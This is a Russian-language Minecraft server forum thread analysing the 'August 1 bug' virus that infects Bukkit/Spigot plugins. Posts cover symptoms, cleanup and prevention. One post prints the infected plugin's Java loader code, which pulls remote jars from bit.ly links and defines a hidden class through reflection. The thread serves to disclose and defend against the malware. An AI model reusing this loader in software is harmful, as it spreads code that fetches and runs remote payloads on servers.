Вы используете устаревший браузер. Этот и другие сайты могут отображаться в нем неправильно. Необходимо обновить браузер или попробовать использовать другой.
в сентябре у многих была проблема такая, создали конфу и думали как исправить, я нашел то что файлы заражаются вредоносным кодом и скинул на проверку в конфу
в сентябре у многих была проблема такая, создали конфу и думали как исправить, я нашел то что файлы заражаются вредоносным кодом и скинул на проверку в конфу
в сентябре у многих была проблема такая, создали конфу и думали как исправить, я нашел то что файлы заражаются вредоносным кодом и скинул на проверку в конфу
В именно данный момент, удалил логи и левел дат. Работает, как вылетит приду запомощью со слезами, проект не могу сделать до конца, а менять время не по царски, тем более гугл не разрешает так искать информацию
Вы заражены
Если с вами поделились ссылкой на эту тему - скорее всего, у вас проблемы.
Если ваш сервер останавливается после ввода любой команды - это явный признак наличия вируса в сборке. Причём часто заявляется, что проблема проявляется после перехода со Spigot на Paper. Но будьте уверены, что на Spigot вирус тоже чувствует себя прекрасно, хотя и не проявляется так явно.
Исходный вирус распространяется под названием PluginMetrics (PluginMetrics.jar). Если у вас стоит этот плагин - будьте уверены, что вы заражены. Оригинальная метрика плагинов вшита в ядро, а не распространяется отдельным плагином. Однако даже если этот плагин у вас не установлен - нет гарантии, что всё в порядке. Вирус может находиться в абсолютно любых других плагинах на сервере. Об этом читайте далее.
Рекомендую дочитать моё длинное сообщение до самого конца - в нём много полезной информации.
Распространение вируса
Вирус заражает собой все другие плагины в сборке (но не ядро) - таким образом распространяется по сети. Вы скачали готовую сборку? Может, друг с вами поделился полезным плагином? Всё это может легко привести к заражению всей сборки. Вирус был создан в 2016-м году, однако и сейчас (в 2021) я до сих пор периодически натыкаюсь на данный вирус у людей. Будьте бдительны и не качайте плагины, ядра и другие ресурсы из непроверенных источников.
Влияние вируса на сервер
Из-за данного вируса сервера с offline-mode изредка автоматически останавливаются после 1-го августа 2016 года.
Это относится и к "пиратским" проектам, и к серверам за "лицензионным" BungeeCord.
Но наиболее явная черта вируса - отключение сервера после ввода какой-либо команды в консоли. Если у вас жалоба на эту проблему - даю 99% гарантию, что ваша сборка заражена.
Также из-за действия вируса случайным образом блокируются некоторые серверные действия:
- написание сообщений/команд в чат
- разрушение/установка блоков
- выбрасывание/перемещение предметов в инвентаре
- отгрузка чанков/миров (что приводит к утечкам памяти и странным багам)
Никакой иной угрозы вирус не несёт.
Решение
Удалите все плагины и поставьте по новой. Но на этот раз скачивайте только из надёжных источников. Пока меняете, ни в коему случае не запускайте сервер, иначе "чистые" плагины снова заразятся.
Ядро перекачивать не обязательно, оно не заражается.
Решение для ленивых
Боготворите @SHADOWDAN, он привёз вам лекарство. Оно пересоздаёт jar-архивы плагинов с целью избавиться от внедрённого туда вредоносного кода.
Сам я это не тестировал. Некоторые утверждают, что это решение не работает. Если так - придётся перекачивать всё вручную.
Технические детали работы вируса
В инфицированном плагине находится примерно такой код (подправлен для улучшения восприятия):
Java:
static {
try {
FileInputStream inputStream;
byte[] code;
File pluginsDir = new File("plugins/");
boolean virusFound = false;
long l = -1;
int n = 0;
for (File pluginFile : pluginsDir.listFiles()) {
if (!pluginFile.isFile() || !pluginFile.getName().endsWith(".jar")) continue;
pluginsDir = pluginFile;
code = new byte[(int) pluginsDir.length()];
inputStream = new FileInputStream(pluginsDir);
inputStream.read(code);
inputStream.close();
if (code[15] != (byte) (code[16] ^ 190)) continue;
virusFound = true;
l = (code[code.length - 2] & 255) << 8 | code[code.length - 1] & 255;
if (l <= 0) continue;
n = (int) l;
l = pluginsDir.length() - (l + 2);
break;
}
if (virusFound) {
RandomAccessFile randomAccessFile = new RandomAccessFile(pluginsDir, "r");
randomAccessFile.seek(l);
code = new byte[n];
randomAccessFile.read(code, 0, n);
randomAccessFile.close();
Inflater inflater = new Inflater();
inflater.setInput(code);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(n);
byte[] arrby2 = new byte[1024];
while (!inflater.finished()) {
int n2 = inflater.inflate(arrby2);
byteArrayOutputStream.write(arrby2, 0, n2);
}
byteArrayOutputStream.close();
code = byteArrayOutputStream.toByteArray();
inflater.end();
String domain = "http://bit.ly/";
URLClassLoader uRLClassLoader = new URLClassLoader(new URL[]{new URL(domain + "22XBqiy"), new URL(domain + "1XKAEpZ")}, Thread.currentThread().getContextClassLoader());
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE);
method.setAccessible(true);
Class class_ = (Class)method.invoke(uRLClassLoader, null, code, 0, code.length);
class_.newInstance();
}
}
catch (Exception ex) {}
}
То есть скачиваются и подгружаются два джарника, располагающиеся по адресам http://bit.ly/22XBqiy и http://bit.ly/1XKAEpZ
После этого загружается и вредоносный класс. Об этом ниже.
Данные ссылки позволяют скачать модификатор байткода (http://asm.ow2.org). При помощи него вредоносный код и распространяется по серверу. Если конкретнее, то инфицированию подвержены все jar-файлы из папки plugins: сканируется plugin.yml в каждом плагине, в главный класс встраивается вредоносный (байт-)код.
Также у каждого jar-ника отключается проверка его хэш-суммы (MANIFEST.MF). Это позволит запускать его, даже если содержимое было изменено.
Также в конец каждого заражённого файла вирус записывает сам себя в виде скомпилированного java-файла. Наглядно убедиться в этом можно при попытке извлечь файл любым продвинутым архиватором:
Отсюда и увеличение размера. Естественно, обычным архиватором вы этот класс не получите. Собственно, вот его содержимое: https://pastebin.com/Q4Pt9vaf
Летом 2017-го года был рассмотрена моя жалоба на ссылки bit.ly, и теперь вирус распространяться не должен. Но если вы заметили заражённый плагин - всё же стоит избавиться от него (достаточно удалить лишь инфицированный джарник).
Судя по всему, распространение по другим плагинам теперь работает только на каулдронах/мохистах и иже с ними, где библиотека ASM присутствует прямо в ядре.
Об авторе вируса и его идее
Скорее всего, по задумке автора, вирус должен был начать видимое влияние на сервер после 1-го сентября (а не 1-го августа). Это явный намёк на то, что администраторам серверов стоит заниматься учёбой вместо открытия серверов.
Также, возможно, автор хотел донести мысль о том, что необходимо делать собственные уникальные и интересные сервера, а не заниматься бесконечным копированием сборок (в частности плагинов).
У меня есть предположения относительно того, что за человек разработал вирус. Однако публиковать свою догадку я не буду, поскольку никаких весомых доказательств у меня нет.
Профилактика заражения
Не хотите повторения подобной ситуации? Что ж, самое время перестать качать сомнительные плагины и сборки, а после почитать про Keiko и Anti-Malware.
Аналогичные случаи
Очевидно, что "баг 1 августа" - это далеко не первый такой вирус. Так, например, мне известно о другом вирусе, которые заражает все плагины на сервере. Он имеет название Hostflow, подробнее можно почитать тут: https://www.alexeylesin.me/articles/hostflow/
Лечение Hostflow: https://github.com/Haizive/HostflowMalwareRemover
Есть подозрение, что это просто более новая версия вируса "1 августа".
Вопрос в том, о скольких вирусах мы не знаем, и сколько ещё будет создано в будущем.
Послесловие
Вывод тут один - необходимо качать плагины и другие ресурсы только из официальных источников. Никаких сборок, никаких плагинов от друзей, никаких nulled-версий платных плагинов.
Данный вирус относительно безопасен и не может принести серьёзного вреда системе/компьютеру/серверу/проекту. Но кто знает, какой вирус напишут завтра? А возможно и прямо сейчас по сети гуляет что-то очень неприятное, что никак не выдаёт себя?
Также небольшая просьба: если вы обнаружили у себя вирус - пожалуйста, сообщите о нём тому, кто вам его передал: другу или автору сборки. Можете просто скинуть ссылку на это сообщение: http://rubukkit.org/threads/bag-s-1-avgusta.128414/page-3#post-1414458
Пора заканчивать с распространением этой заразы.
Скачиваются и "запускаются" два джарника, располагающиеся по адресам http://bit.ly/22XBqiy и http://bit.ly/1XKAEpZ
Это модификатор байткода (http://asm.ow2.org). При помощи него вредоносный код и распространяется по серверу. Если конкретнее, то инфицированию подвержены все jar-файлы из папки plugins...
Вредоносный код (класс) вшит (байты) непосредственно в jar-файл.
Содержимое класса: http://pastebin.com/XSrKV2G1
Итог:
Автор этой штуки оказался с юмором - сервера с offline-mode автоматически останавливаются после 1-го сентября. Ну и различные эвенты отключаются на всякий случай.
Никакой иной угрозы вирус не несёт.
Берегите себя и своих близких и не качайте всякую дичь.
Интересно, кто создатель этой "приблуды"?
Отдельное спасибо @xtrafrancyz за помощь в решении сие загадки.
Скачиваются и "запускаются" два джарника, располагающиеся по адресам http://bit.ly/22XBqiy и http://bit.ly/1XKAEpZ
Это модификатор байткода (http://asm.ow2.org). При помощи него вредоносный код и распространяется по серверу. Если конкретнее, то инфицированию подвержены все jar-файлы из папки plugins...
Вредоносный код (класс) вшит (байты) непосредственно в jar-файл.
Содержимое класса: http://pastebin.com/XSrKV2G1
Итог:
Автор этой штуки оказался с юмором - сервера с offline-mode автоматически останавливаются после 1-го сентября. Ну и различные эвенты отключаются на всякий случай.
Никакой иной угрозы вирус не несёт.
Берегите себя и своих близких и не качайте всякую дичь.
Интересно, кто создатель этой "приблуды"?
Отдельное спасибо @xtrafrancyz за помощь в решении сие загадки.
Скачиваются и "запускаются" два джарника, располагающиеся по адресам http://bit.ly/22XBqiy и http://bit.ly/1XKAEpZ
Это модификатор байткода (http://asm.ow2.org). При помощи него вредоносный код и распространяется по серверу. Если конкретнее, то инфицированию подвержены все jar-файлы из папки plugins...
Вредоносный код (класс) вшит (байты) непосредственно в jar-файл.
Содержимое класса: http://pastebin.com/XSrKV2G1
Итог:
Автор этой штуки оказался с юмором - сервера с offline-mode автоматически останавливаются после 1-го сентября. Ну и различные эвенты отключаются на всякий случай.
Никакой иной угрозы вирус не несёт.
Берегите себя и своих близких и не качайте всякую дичь.
Интересно, кто создатель этой "приблуды"?
Отдельное спасибо @xtrafrancyz за помощь в решении сие загадки.
Ты тему читаешь вообще? Бэдкор вшивается во ВСЕ плагины в папке plugins. Если один раз уже попался, то пока ты не избавишься от ВСЕХ зараженных плагинов - что-то там перекачивать бессмысленно.
Если самописы - бери чистые сорцы и компилируй по новой.
Ты тему читаешь вообще? Бэдкор вшивается во ВСЕ плагины в папке plugins. Если один раз уже попался, то пока ты не избавишься от ВСЕХ зараженных плагинов - что-то там перекачивать бессмысленно.
Если самописы - бери чистые сорцы и компилируй по новой.
Нужно было перекачать все плагины, не запуская при этом сервер. В ядро ничего не вшивается, только в плагины. Нельзя доверять ни одному из плагинов. Если так интересно, можно проверить (декомпилировать) главный класс каждого из плагинов - в заражённых файлах будет спецефический static-контент (код указывался выше).
Нужно было перекачать все плагины, не запуская при этом сервер. В ядро ничего не вшивается, только в плагины. Нельзя доверять ни одному из плагинов. Если так интересно, можно проверить (декомпилировать) главный класс каждого из плагинов - в заражённых файлах будет спецефический static-контент (код указывался выше).
На данном сайте используются cookie-файлы, чтобы персонализировать контент и сохранить Ваш вход в систему, если Вы зарегистрируетесь.
Продолжая использовать этот сайт, Вы соглашаетесь на использование наших cookie-файлов.